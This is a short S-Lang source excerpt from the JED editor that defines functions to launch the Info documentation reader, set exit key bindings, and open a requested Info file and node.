private define start_info_reader () { variable ibuf; ibuf = "*Info*"; if (Info_Stack_Depth) info_goto_last_position (); ifnot (bufferp(ibuf)) info_find_dir(); pop2buf(ibuf); onewindow(); if (0 == is_defined ("info_reader_hook")) run_mode_hooks ("info_mode_hook"); else run_mode_hooks ("info_reader_hook"); } % Usage: % info_reader () % info_reader (args); % args[0] = file % args[1] = node define info_reader () { variable file, node; start_info_reader (); if (_NARGS == 0) return; variable args = (); variable nargs = length (args); local_setkey ("exit_jed", "q"); local_setkey ("exit_jed", "Q"); if (nargs > 0) { file = args[0]; #ifdef UNIX if (path_basename (file) != file) { variable dir = path_dirname (file); file = path_basename (file); Info_Directory = strcat (dir, "," + Info_Directory); } #endif % Goto top incase the requested node does not exist. info_find_node (sprintf ("(%s)top", file)); if (nargs > 1) info_find_node (sprintf ("(%s)%s", file, args[1])); } }
Close